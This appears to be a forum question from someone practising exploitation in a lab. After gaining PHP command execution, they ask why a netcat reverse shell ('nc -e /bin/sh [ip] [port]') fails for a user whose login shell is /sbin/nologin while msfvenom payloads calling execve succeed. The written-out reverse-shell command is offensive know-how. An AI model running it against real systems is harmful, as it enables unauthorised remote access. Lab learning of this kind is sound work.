While practicing exploitation on a lab, I managed to get the ability to execute php code which allowed me to execute system commands through shell_exec on a web server. The apache user has /sbin/nologin
assigned as its shell.
I have tried using the command nc -e /bin/sh [ip] [port]
but it fails. Using netcat without starting a shell, however, succeeds. I assumed that this was because having the shell set to /no/login
means I cannot start it. However, if I use an executable that performs execve("/bin/sh")
such as those found in msfvenom payload executables, it succeeds.
Another reason I assumed the nologin
shell disallows a user to start an interactive shell is because trying the netcat reverse shell with a user who has /bin/sh
configured as its shell succeeds. I am confused what phase checking for permissions to start a shell begins because I am still able to start it through binary executables.